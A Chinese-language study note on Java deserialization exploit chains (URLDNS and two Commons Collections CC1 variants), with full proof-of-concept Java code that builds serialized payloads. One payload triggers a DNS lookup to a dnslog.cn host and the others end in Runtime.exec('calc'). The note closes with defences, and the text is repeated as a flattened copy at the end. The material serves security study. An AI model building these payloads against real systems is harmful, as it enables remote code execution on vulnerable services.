CC链学习-上
字数 1242 2025-08-05 08:19:29

Java反序列化漏洞利用链(CC链)学习文档

一、URLDNS链分析

1. 简介

URLDNS是ysoserial中最简单的利用链,具有以下优点:

  • 使用Java内置类构造,不依赖第三方库
  • 在目标没有回显时,可通过DNS请求检测反序列化漏洞

2. 利用链

HashMap->readObject() 
HashMap->hash() 
URL->hashCode() 
URLStreamHandler->hashCode() 
URLStreamHandler->getHostAddress() 
InetAddress->getByName()

3. 原理分析

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static Object urldns() throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://txbjb7.dnslog.cn");
        
        // 反射获取URL的hashCode方法
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        
        // 先设置hashCode为其他值,避免put时触发DNS请求
        f.set(url, 0xAAA);
        hashMap.put(url, "Yasax1");
        
        // 设置hashCode为-1,反序列化时会重新计算
        f.set(url, -1);
        return hashMap;
    }
    
    public static void main(String[] args) throws Exception {
        payload2File(urldns(), "obj");
        payloadTest("obj");
    }
    
    public static void payload2File(Object instance, String file) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    
    public static void payloadTest(String file) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

4. 关键点

  1. HashMap.readObject()会调用hash()方法
  2. hash()方法会调用key的hashCode()方法
  3. URL.hashCode()当hashCode=-1时会调用handler.hashCode()
  4. URLStreamHandler.hashCode()会调用getHostAddress()
  5. getHostAddress()中的InetAddress.getByName()会发起DNS请求

二、CC1链分析(TransformedMap)

1. 环境要求

  • JDK 1.7
  • Commons Collections 3.1
  • Java版本需在8u71之前

2. 利用链

ObjectInputStream.readObject() 
AnnotationInvocationHandler.readObject() 
MapEntry.setValue() 
TransformedMap.checkSetValue() 
ChainedTransformer.transform() 
ConstantTransformer.transform() 
InvokerTransformer.transform() 
Method.invoke() 
Class.getMethod() 
InvokerTransformer.transform() 
Method.invoke() 
Runtime.getRuntime() 
InvokerTransformer.transform() 
Method.invoke() 
Runtime.exec()

3. 核心组件分析

3.1 TransformedMap

用于修饰Map,在添加新元素时可执行回调:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

3.2 Transformer接口

public interface Transformer {
    public Object transform(Object input);
}

3.3 ConstantTransformer

public Object transform(Object input) {
    return iConstant;
}

3.4 InvokerTransformer

public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
}

3.5 ChainedTransformer

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

4. POC分析

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class CommonCollections11 {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc"})
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }
    
    // 序列化和反序列化方法同上...
}

5. AnnotationInvocationHandler关键点

  1. 构造函数第一个参数必须是Annotation的子类,且至少含有一个方法
  2. Map中必须有一个键名为该方法的元素
  3. readObject()方法会调用setValue()

三、CC1链分析(LazyMap)

1. 利用链

ObjectInputStream.readObject() 
AnnotationInvocationHandler.readObject() 
Map(Proxy).entrySet() 
AnnotationInvocationHandler.invoke() 
LazyMap.get() 
ChainedTransformer.transform() 
ConstantTransformer.transform() 
InvokerTransformer.transform() 
Method.invoke() 
Class.getMethod() 
InvokerTransformer.transform() 
Method.invoke() 
Runtime.getRuntime() 
InvokerTransformer.transform() 
Method.invoke() 
Runtime.exec()

2. LazyMap关键方法

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    }
    return super.map.get(key);
}

3. POC分析

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class CommonCollections12 {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
            // 同上...
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        Map outmap = LazyMap.decorate(innermap, transformerChain);
        
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outmap);
        Map mapProxy = (Map) Proxy.newProxyInstance(
            LazyMap.class.getClassLoader(), 
            LazyMap.class.getInterfaces(), 
            handler);
            
        Object instance = ctor.newInstance(Retention.class, mapProxy);
        return instance;
    }
    
    // 序列化和反序列化方法同上...
}

4. 代理机制利用

  1. 创建AnnotationInvocationHandler实例作为InvocationHandler
  2. 使用Proxy.newProxyInstance创建代理Map
  3. 当调用代理Map的方法时,会进入AnnotationInvocationHandler.invoke()
  4. invoke()中会调用memberValues.get(),即LazyMap.get()

四、总结

1. 关键区别

  • TransformedMap:通过setValue()触发
  • LazyMap:通过get()触发,需结合动态代理

2. 注意事项

  1. Java 8u71后AnnotationInvocationHandler.readObject()不再直接使用反序列化的Map
  2. 调试时注意LazyMap.get()的触发条件
  3. 使用RetentionTarget等Annotation类作为参数

3. 防御措施

  1. 升级JDK版本
  2. 升级Commons Collections库
  3. 使用反序列化过滤器
  4. 避免反序列化不可信数据
Java反序列化漏洞利用链(CC链)学习文档 一、URLDNS链分析 1. 简介 URLDNS是ysoserial中最简单的利用链,具有以下优点: 使用Java内置类构造,不依赖第三方库 在目标没有回显时,可通过DNS请求检测反序列化漏洞 2. 利用链 3. 原理分析 4. 关键点 HashMap.readObject() 会调用 hash() 方法 hash() 方法会调用key的 hashCode() 方法 URL.hashCode() 当hashCode=-1时会调用 handler.hashCode() URLStreamHandler.hashCode() 会调用 getHostAddress() getHostAddress() 中的 InetAddress.getByName() 会发起DNS请求 二、CC1链分析(TransformedMap) 1. 环境要求 JDK 1.7 Commons Collections 3.1 Java版本需在8u71之前 2. 利用链 3. 核心组件分析 3.1 TransformedMap 用于修饰Map,在添加新元素时可执行回调: 3.2 Transformer接口 3.3 ConstantTransformer 3.4 InvokerTransformer 3.5 ChainedTransformer 4. POC分析 5. AnnotationInvocationHandler关键点 构造函数第一个参数必须是Annotation的子类,且至少含有一个方法 Map中必须有一个键名为该方法的元素 readObject() 方法会调用 setValue() 三、CC1链分析(LazyMap) 1. 利用链 2. LazyMap关键方法 3. POC分析 4. 代理机制利用 创建 AnnotationInvocationHandler 实例作为 InvocationHandler 使用 Proxy.newProxyInstance 创建代理Map 当调用代理Map的方法时,会进入 AnnotationInvocationHandler.invoke() invoke() 中会调用 memberValues.get() ,即 LazyMap.get() 四、总结 1. 关键区别 TransformedMap :通过 setValue() 触发 LazyMap :通过 get() 触发,需结合动态代理 2. 注意事项 Java 8u71后 AnnotationInvocationHandler.readObject() 不再直接使用反序列化的Map 调试时注意 LazyMap.get() 的触发条件 使用 Retention 或 Target 等Annotation类作为参数 3. 防御措施 升级JDK版本 升级Commons Collections库 使用反序列化过滤器 避免反序列化不可信数据